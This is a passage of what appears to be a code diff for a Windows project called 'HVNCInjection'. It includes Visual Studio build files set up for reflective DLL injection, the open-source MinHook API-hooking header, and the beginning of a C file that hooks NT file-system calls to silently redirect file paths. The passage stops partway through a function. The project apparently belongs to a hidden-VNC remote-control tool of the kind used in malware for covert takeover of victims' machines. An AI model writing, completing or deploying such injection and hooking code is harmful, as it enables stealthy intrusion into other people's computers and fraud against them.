<Optimization>MaxSpeed</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<BufferSecurityCheck>true</BufferSecurityCheck>
|
||||||
|
<CompileAs>Default</CompileAs>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Midl>
|
||||||
|
<TargetEnvironment>X64</TargetEnvironment>
|
||||||
|
</Midl>
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<CompileAs>CompileAsCpp</CompileAs>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<TargetMachine>MachineX64</TargetMachine>
|
||||||
|
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
|
||||||
|
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
|
||||||
|
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
|
||||||
|
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="src\ReflectiveDll.c" />
|
||||||
|
<ClCompile Include="src\ReflectiveLoader.c" />
|
||||||
|
<ClCompile Include="src\NtApiHooks.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="src\NtApiHooksConfig.h" />
|
||||||
|
<ClInclude Include="src\ReflectiveDLLInjection.h" />
|
||||||
|
<ClInclude Include="src\ReflectiveLoader.h" />
|
||||||
|
<ClInclude Include="src\NtApiHooks.h" />
|
||||||
|
<ClInclude Include="src\MinHook.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="src\ReflectiveDll.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="src\ReflectiveLoader.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="src\NtApiHooks.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="src\ReflectiveDLLInjection.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="src\ReflectiveLoader.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="src\NtApiHooks.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="src\MinHook.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="src\NtApiHooksConfig.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,185 @@
|
|||||||
|
/*
|
||||||
|
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||||
|
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
*
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||||
|
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||||
|
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
||||||
|
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||||
|
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||||
|
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||||
|
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||||
|
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||||
|
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||||
|
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
|
||||||
|
#error MinHook supports only x86 and x64 systems.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
// MinHook Error Codes.
|
||||||
|
typedef enum MH_STATUS
|
||||||
|
{
|
||||||
|
// Unknown error. Should not be returned.
|
||||||
|
MH_UNKNOWN = -1,
|
||||||
|
|
||||||
|
// Successful.
|
||||||
|
MH_OK = 0,
|
||||||
|
|
||||||
|
// MinHook is already initialized.
|
||||||
|
MH_ERROR_ALREADY_INITIALIZED,
|
||||||
|
|
||||||
|
// MinHook is not initialized yet, or already uninitialized.
|
||||||
|
MH_ERROR_NOT_INITIALIZED,
|
||||||
|
|
||||||
|
// The hook for the specified target function is already created.
|
||||||
|
MH_ERROR_ALREADY_CREATED,
|
||||||
|
|
||||||
|
// The hook for the specified target function is not created yet.
|
||||||
|
MH_ERROR_NOT_CREATED,
|
||||||
|
|
||||||
|
// The hook for the specified target function is already enabled.
|
||||||
|
MH_ERROR_ENABLED,
|
||||||
|
|
||||||
|
// The hook for the specified target function is not enabled yet, or already
|
||||||
|
// disabled.
|
||||||
|
MH_ERROR_DISABLED,
|
||||||
|
|
||||||
|
// The specified pointer is invalid. It points the address of non-allocated
|
||||||
|
// and/or non-executable region.
|
||||||
|
MH_ERROR_NOT_EXECUTABLE,
|
||||||
|
|
||||||
|
// The specified target function cannot be hooked.
|
||||||
|
MH_ERROR_UNSUPPORTED_FUNCTION,
|
||||||
|
|
||||||
|
// Failed to allocate memory.
|
||||||
|
MH_ERROR_MEMORY_ALLOC,
|
||||||
|
|
||||||
|
// Failed to change the memory protection.
|
||||||
|
MH_ERROR_MEMORY_PROTECT,
|
||||||
|
|
||||||
|
// The specified module is not loaded.
|
||||||
|
MH_ERROR_MODULE_NOT_FOUND,
|
||||||
|
|
||||||
|
// The specified function is not found.
|
||||||
|
MH_ERROR_FUNCTION_NOT_FOUND
|
||||||
|
}
|
||||||
|
MH_STATUS;
|
||||||
|
|
||||||
|
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
|
||||||
|
// MH_QueueEnableHook or MH_QueueDisableHook.
|
||||||
|
#define MH_ALL_HOOKS NULL
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Initialize the MinHook library. You must call this function EXACTLY ONCE
|
||||||
|
// at the beginning of your program.
|
||||||
|
MH_STATUS WINAPI MH_Initialize(VOID);
|
||||||
|
|
||||||
|
// Uninitialize the MinHook library. You must call this function EXACTLY
|
||||||
|
// ONCE at the end of your program.
|
||||||
|
MH_STATUS WINAPI MH_Uninitialize(VOID);
|
||||||
|
|
||||||
|
// Creates a Hook for the specified target function, in disabled state.
|
||||||
|
// Parameters:
|
||||||
|
// pTarget [in] A pointer to the target function, which will be
|
||||||
|
// overridden by the detour function.
|
||||||
|
// pDetour [in] A pointer to the detour function, which will override
|
||||||
|
// the target function.
|
||||||
|
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||||
|
// used to call the original target function.
|
||||||
|
// This parameter can be NULL.
|
||||||
|
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
|
||||||
|
|
||||||
|
// Creates a Hook for the specified API function, in disabled state.
|
||||||
|
// Parameters:
|
||||||
|
// pszModule [in] A pointer to the loaded module name which contains the
|
||||||
|
// target function.
|
||||||
|
// pszTarget [in] A pointer to the target function name, which will be
|
||||||
|
// overridden by the detour function.
|
||||||
|
// pDetour [in] A pointer to the detour function, which will override
|
||||||
|
// the target function.
|
||||||
|
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||||
|
// used to call the original target function.
|
||||||
|
// This parameter can be NULL.
|
||||||
|
MH_STATUS WINAPI MH_CreateHookApi(
|
||||||
|
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
|
||||||
|
|
||||||
|
// Creates a Hook for the specified API function, in disabled state.
|
||||||
|
// Parameters:
|
||||||
|
// pszModule [in] A pointer to the loaded module name which contains the
|
||||||
|
// target function.
|
||||||
|
// pszTarget [in] A pointer to the target function name, which will be
|
||||||
|
// overridden by the detour function.
|
||||||
|
// pDetour [in] A pointer to the detour function, which will override
|
||||||
|
// the target function.
|
||||||
|
// ppOriginal [out] A pointer to the trampoline function, which will be
|
||||||
|
// used to call the original target function.
|
||||||
|
// This parameter can be NULL.
|
||||||
|
// ppTarget [out] A pointer to the target function, which will be used
|
||||||
|
// with other functions.
|
||||||
|
// This parameter can be NULL.
|
||||||
|
MH_STATUS WINAPI MH_CreateHookApiEx(
|
||||||
|
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
|
||||||
|
|
||||||
|
// Removes an already created hook.
|
||||||
|
// Parameters:
|
||||||
|
// pTarget [in] A pointer to the target function.
|
||||||
|
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
|
||||||
|
|
||||||
|
// Enables an already created hook.
|
||||||
|
// Parameters:
|
||||||
|
// pTarget [in] A pointer to the target function.
|
||||||
|
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||||
|
// enabled in one go.
|
||||||
|
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
|
||||||
|
|
||||||
|
// Disables an already created hook.
|
||||||
|
// Parameters:
|
||||||
|
// pTarget [in] A pointer to the target function.
|
||||||
|
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||||
|
// disabled in one go.
|
||||||
|
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
|
||||||
|
|
||||||
|
// Queues to enable an already created hook.
|
||||||
|
// Parameters:
|
||||||
|
// pTarget [in] A pointer to the target function.
|
||||||
|
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||||
|
// queued to be enabled.
|
||||||
|
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
|
||||||
|
|
||||||
|
// Queues to disable an already created hook.
|
||||||
|
// Parameters:
|
||||||
|
// pTarget [in] A pointer to the target function.
|
||||||
|
// If this parameter is MH_ALL_HOOKS, all created hooks are
|
||||||
|
// queued to be disabled.
|
||||||
|
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
|
||||||
|
|
||||||
|
// Applies all queued changes in one go.
|
||||||
|
MH_STATUS WINAPI MH_ApplyQueued(VOID);
|
||||||
|
|
||||||
|
// Translates the MH_STATUS to its name as a string.
|
||||||
|
const char* WINAPI MH_StatusToString(MH_STATUS status);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,868 @@
|
|||||||
|
//===============================================================================================//
|
||||||
|
// NT API Hooking Implementation
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "NtApiHooks.h"
|
||||||
|
#include "NtApiHooksConfig.h"
|
||||||
|
#include "MinHook.h"
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "libMinHook.x64.lib")
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
|
||||||
|
// Global search and replacement strings (filled from parameter)
|
||||||
|
static WCHAR g_SearchString[512] = { 0 };
|
||||||
|
static WCHAR g_ReplacementString[512] = { 0 };
|
||||||
|
static BOOL g_HooksInitialized = FALSE;
|
||||||
|
static HANDLE g_LogFile = INVALID_HANDLE_VALUE;
|
||||||
|
|
||||||
|
// Helper function to log debug info
|
||||||
|
void LogDebug(const WCHAR* message) {
|
||||||
|
#if ENABLE_DEBUG_LOGGING
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
DWORD written;
|
||||||
|
DWORD messageLen = (DWORD)wcslen(message) * sizeof(WCHAR);
|
||||||
|
WriteFile(g_LogFile, message, messageLen, &written, NULL);
|
||||||
|
|
||||||
|
const WCHAR newline[] = L"\r\n";
|
||||||
|
WriteFile(g_LogFile, newline, sizeof(newline) - sizeof(WCHAR), &written, NULL);
|
||||||
|
FlushFileBuffers(g_LogFile);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
void LogDebugA(const char* message) {
|
||||||
|
#if ENABLE_DEBUG_LOGGING
|
||||||
|
if (g_LogFile != INVALID_HANDLE_VALUE) {
|
||||||
|
DWORD written;
|
||||||
|
DWORD messageLen = (DWORD)strlen(message);
|
||||||
|
WriteFile(g_LogFile, message, messageLen, &written, NULL);
|
||||||
|
|
||||||
|
const char newline[] = "\r\n";
|
||||||
|
WriteFile(g_LogFile, newline, sizeof(newline) - 1, &written, NULL);
|
||||||
|
FlushFileBuffers(g_LogFile);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
// Helper function for case-insensitive wide string comparison
|
||||||
|
int wcsnicmp_custom(const WCHAR* s1, const WCHAR* s2, SIZE_T count) {
|
||||||
|
for (SIZE_T i = 0; i < count; i++) {
|
||||||
|
WCHAR c1 = s1[i];
|
||||||
|
WCHAR c2 = s2[i];
|
||||||
|
|
||||||
|
// Convert to uppercase for comparison
|
||||||
|
if (c1 >= L'a' && c1 <= L'z') c1 = c1 - L'a' + L'A';
|
||||||
|
if (c2 >= L'a' && c2 <= L'z') c2 = c2 - L'a' + L'A';
|
||||||
|
|
||||||
|
// Also handle backslash vs forward slash
|
||||||
|
if (c1 == L'/') c1 = L'\\';
|
||||||
|
if (c2 == L'/') c2 = L'\\';
|
||||||
|
|
||||||
|
if (c1 != c2) return (c1 < c2) ? -1 : 1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Helper function to normalize NT paths - skip \??\ prefix if present
|
||||||
|
const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) {
|
||||||
|
if (!path || !adjustedLength) return path;
|
||||||
|
|
||||||
|
SIZE_T length = *adjustedLength;
|
||||||
|
|
||||||
|
// Check for \??\ prefix (NT object namespace for DOS devices)
|
||||||
|
if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') {
|
||||||
|
*adjustedLength = length - 4;
|
||||||
|
return path + 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for \Device\ or \DEVICE\ prefix
|
||||||
|
if (length >= 8 &&
|
||||||
|
(wcsnicmp_custom(path, L"\\DEVICE\\", 8) == 0 || wcsnicmp_custom(path, L"\\Device\\", 8) == 0)) {
|
||||||
|
// Don't adjust - these are device paths, not file paths
|
||||||
|
return path;
|
||||||
|
}
|
||||||
|
|
||||||
|
return path;
|
||||||
|
}
|
||||||
|
|
||||||
|
// NT API typedefs
|
||||||
|
typedef struct _UNICODE_STRING {
|
||||||
|
USHORT Length;
|
||||||
|
USHORT MaximumLength;
|
||||||
|
PWSTR Buffer;
|
||||||
|
} UNICODE_STRING, * PUNICODE_STRING;
|
||||||
|
|
||||||
|
typedef struct _OBJECT_ATTRIBUTES {
|
||||||
|
ULONG Length;
|
||||||
|
HANDLE RootDirectory;
|
||||||
|
PUNICODE_STRING ObjectName;
|
||||||
|
ULONG Attributes;
|
||||||
|
PVOID SecurityDescriptor;
|
||||||
|
PVOID SecurityQualityOfService;
|
||||||
|
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||||
|
|
||||||
|
typedef struct _IO_STATUS_BLOCK {
|
||||||
|
union {
|
||||||
|
LONG Status;
|
||||||
|
PVOID Pointer;
|
||||||
|
};
|
||||||
|
ULONG_PTR Information;
|
||||||
|
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||||
|
|
||||||
|
typedef enum _FILE_INFORMATION_CLASS {
|
||||||
|
FileDirectoryInformation = 1,
|
||||||
|
FileFullDirectoryInformation,
|
||||||
|
FileBothDirectoryInformation,
|
||||||
|
FileBasicInformation,
|
||||||
|
FileStandardInformation,
|
||||||
|
FileInternalInformation,
|
||||||
|
FileEaInformation,
|
||||||
|
FileAccessInformation,
|
||||||
|
FileNameInformation,
|
||||||
|
FileRenameInformation = 10,
|
||||||
|
FileLinkInformation,
|
||||||
|
FileNamesInformation,
|
||||||
|
FileDispositionInformation,
|
||||||
|
FilePositionInformation,
|
||||||
|
FileFullEaInformation,
|
||||||
|
FileModeInformation,
|
||||||
|
FileAlignmentInformation,
|
||||||
|
FileAllInformation,
|
||||||
|
FileAllocationInformation,
|
||||||
|
FileEndOfFileInformation,
|
||||||
|
FileAlternateNameInformation,
|
||||||
|
FileStreamInformation,
|
||||||
|
FilePipeInformation,
|
||||||
|
FilePipeLocalInformation,
|
||||||
|
FilePipeRemoteInformation,
|
||||||
|
FileMailslotQueryInformation,
|
||||||
|
FileMailslotSetInformation,
|
||||||
|
FileCompressionInformation,
|
||||||
|
FileObjectIdInformation,
|
||||||
|
FileCompletionInformation,
|
||||||
|
FileMoveClusterInformation,
|
||||||
|
FileQuotaInformation,
|
||||||
|
FileReparsePointInformation,
|
||||||
|
FileNetworkOpenInformation,
|
||||||
|
FileAttributeTagInformation,
|
||||||
|
FileTrackingInformation,
|
||||||
|
FileIdBothDirectoryInformation,
|
||||||
|
FileIdFullDirectoryInformation,
|
||||||
|
FileValidDataLengthInformation,
|
||||||
|
FileShortNameInformation,
|
||||||
|
FileIoCompletionNotificationInformation,
|
||||||
|
FileIoStatusBlockRangeInformation,
|
||||||
|
FileIoPriorityHintInformation,
|
||||||
|
FileSfioReserveInformation,
|
||||||
|
FileSfioVolumeInformation,
|
||||||
|
FileHardLinkInformation,
|
||||||
|
FileProcessIdsUsingFileInformation,
|
||||||
|
FileNormalizedNameInformation,
|
||||||
|
FileNetworkPhysicalNameInformation,
|
||||||
|
FileIdGlobalTxDirectoryInformation,
|
||||||
|
FileIsRemoteDeviceInformation,
|
||||||
|
FileUnusedInformation,
|
||||||
|
FileNumaNodeInformation,
|
||||||
|
FileStandardLinkInformation,
|
||||||
|
FileRemoteProtocolInformation,
|
||||||
|
FileRenameInformationBypassAccessCheck,
|
||||||
|
FileLinkInformationBypassAccessCheck,
|
||||||
|
FileVolumeNameInformation,
|
||||||
|
FileIdInformation,
|
||||||
|
FileIdExtdDirectoryInformation,
|
||||||
|
FileReplaceCompletionInformation,
|
||||||
|
FileHardLinkFullIdInformation,
|
||||||
|
FileIdExtdBothDirectoryInformation,
|
||||||
|
FileRenameInformationEx = 65,
|
||||||
|
FileRenameInformationExBypassAccessCheck,
|
||||||
|
FileMaximumInformation
|
||||||
|
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;
|
||||||
|
|
||||||
|
// NT API function pointers
|
||||||
|
typedef LONG NTSTATUS;
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtCreateFile)(
|
||||||
|
PHANDLE FileHandle,
|
||||||
|
ULONG DesiredAccess,
|
||||||
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||||
|
PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
PLARGE_INTEGER AllocationSize,
|
||||||
|
ULONG FileAttributes,
|
||||||
|
ULONG ShareAccess,
|
||||||
|
ULONG CreateDisposition,
|
||||||
|
ULONG CreateOptions,
|
||||||
|
PVOID EaBuffer,
|
||||||
|
ULONG EaLength
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtOpenFile)(
|
||||||
|
PHANDLE FileHandle,
|
||||||
|
ULONG DesiredAccess,
|
||||||
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||||
|
PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
ULONG ShareAccess,
|
||||||
|
ULONG OpenOptions
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtDeleteFile)(
|
||||||
|
POBJECT_ATTRIBUTES ObjectAttributes
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtSetInformationFile)(
|
||||||
|
HANDLE FileHandle,
|
||||||
|
PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
PVOID FileInformation,
|
||||||
|
ULONG Length,
|
||||||
|
FILE_INFORMATION_CLASS FileInformationClass
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtQueryAttributesFile)(
|
||||||
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||||
|
PVOID FileInformation
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtQueryFullAttributesFile)(
|
||||||
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||||
|
PVOID FileInformation
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtQueryDirectoryFile)(
|
||||||
|
HANDLE FileHandle,
|
||||||
|
HANDLE Event,
|
||||||
|
PVOID ApcRoutine,
|
||||||
|
PVOID ApcContext,
|
||||||
|
PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
PVOID FileInformation,
|
||||||
|
ULONG Length,
|
||||||
|
FILE_INFORMATION_CLASS FileInformationClass,
|
||||||
|
BOOLEAN ReturnSingleEntry,
|
||||||
|
PUNICODE_STRING FileName,
|
||||||
|
BOOLEAN RestartScan
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtQueryDirectoryFileEx)(
|
||||||
|
HANDLE FileHandle,
|
||||||
|
HANDLE Event,
|
||||||
|
PVOID ApcRoutine,
|
||||||
|
PVOID ApcContext,
|
||||||
|
PIO_STATUS_BLOCK IoStatusBlock,
|
||||||
|
PVOID FileInformation,
|
||||||
|
ULONG Length,
|
||||||
|
FILE_INFORMATION_CLASS FileInformationClass,
|
||||||
|
ULONG QueryFlags,
|
||||||
|
PUNICODE_STRING FileName
|
||||||
|
);
|
||||||
|
|
||||||
|
// Original function pointers
|
||||||
|
pNtCreateFile OriginalNtCreateFile = NULL;
|
||||||
|
pNtOpenFile OriginalNtOpenFile = NULL;
|
||||||
|
pNtDeleteFile OriginalNtDeleteFile = NULL;
|
||||||
|
pNtSetInformationFile OriginalNtSetInformationFile = NULL;
|
||||||
|
pNtQueryAttributesFile OriginalNtQueryAttributesFile = NULL;
|
||||||
|
pNtQueryFullAttributesFile OriginalNtQueryFullAttributesFile = NULL;
|
||||||
|
pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL;
|
||||||
|
pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL;
|
||||||
|
|
||||||
|
// Helper function to check if path needs redirection
|
||||||
|
BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) {
|
||||||
|
if (!path || length == 0) return FALSE;
|
||||||
|
|
||||||
|
SIZE_T searchLen = wcslen(g_SearchString);
|
||||||
|
if (searchLen == 0 || length < searchLen) return FALSE;
|
||||||
|
|
||||||
|
// Normalize the path (strip \??\ prefix if present)
|
||||||
|
SIZE_T normalizedLength = length;
|
||||||
|
const WCHAR* normalizedPath = NormalizePath(path, &normalizedLength);
|
||||||
|
|
||||||
|
